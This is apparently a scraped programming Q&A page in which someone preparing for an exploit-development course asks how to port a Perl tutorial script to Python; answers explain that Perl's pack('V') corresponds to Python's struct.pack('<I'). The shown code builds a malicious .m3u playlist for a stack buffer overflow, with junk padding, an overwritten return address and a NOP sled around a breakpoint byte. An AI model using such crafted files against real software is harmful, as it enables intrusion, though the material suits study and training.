I've been working on some exploit development recently to get ready for a training course, and I've run into a problem with a tutorial. I've been following along with all the tutorials I can find, using Python as opposed to the language the tutorials used, out of preference. I'm trying to crosscode everything, but I can't figure out how to crosscode Perl's Pack() function.
TL;DR: I'm trying to translate this to python:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
I've found Python's struct.pack() function, but when I use
Fuzzed.write(struct.pack('V', 0x773D10A4))
, it stops the program and doesn't work. What am I doing wrong?
This is my entire source code
import struct
Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)
struct. pack() is the function that converts a given list of values into their corresponding string representation. It requires the user to specify the format and order of the values that need to be converted. The following code shows how to pack some given data into its binary form using the module's struct.
pack - Perldoc Browser. Takes a LIST of values and converts it into a string using the rules given by the TEMPLATE. The resulting string is the concatenation of the converted values. Typically, each converted value looks like its machine-level representation.
Try using the "L<"
pack template instead of "V"
. This should work in Perl and Python both. N
and V
are an older Perl method of specifying endianness, and <
and >
are the newer method. It looks like when Python borrowed pack
from Perl it only took the newer, more flexible interface.
Edit: Python wants the <
before the type specifier, while Perl wants it after. Not quite so compatible :(
Python's struct.pack
uses the first character for the endianess/size variation, and then one or more for the data type. Perl's V
means 32bit unsigned int/little-endian.
The Python analogue is struct.pack('<I', 0x773D10A4)
.
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With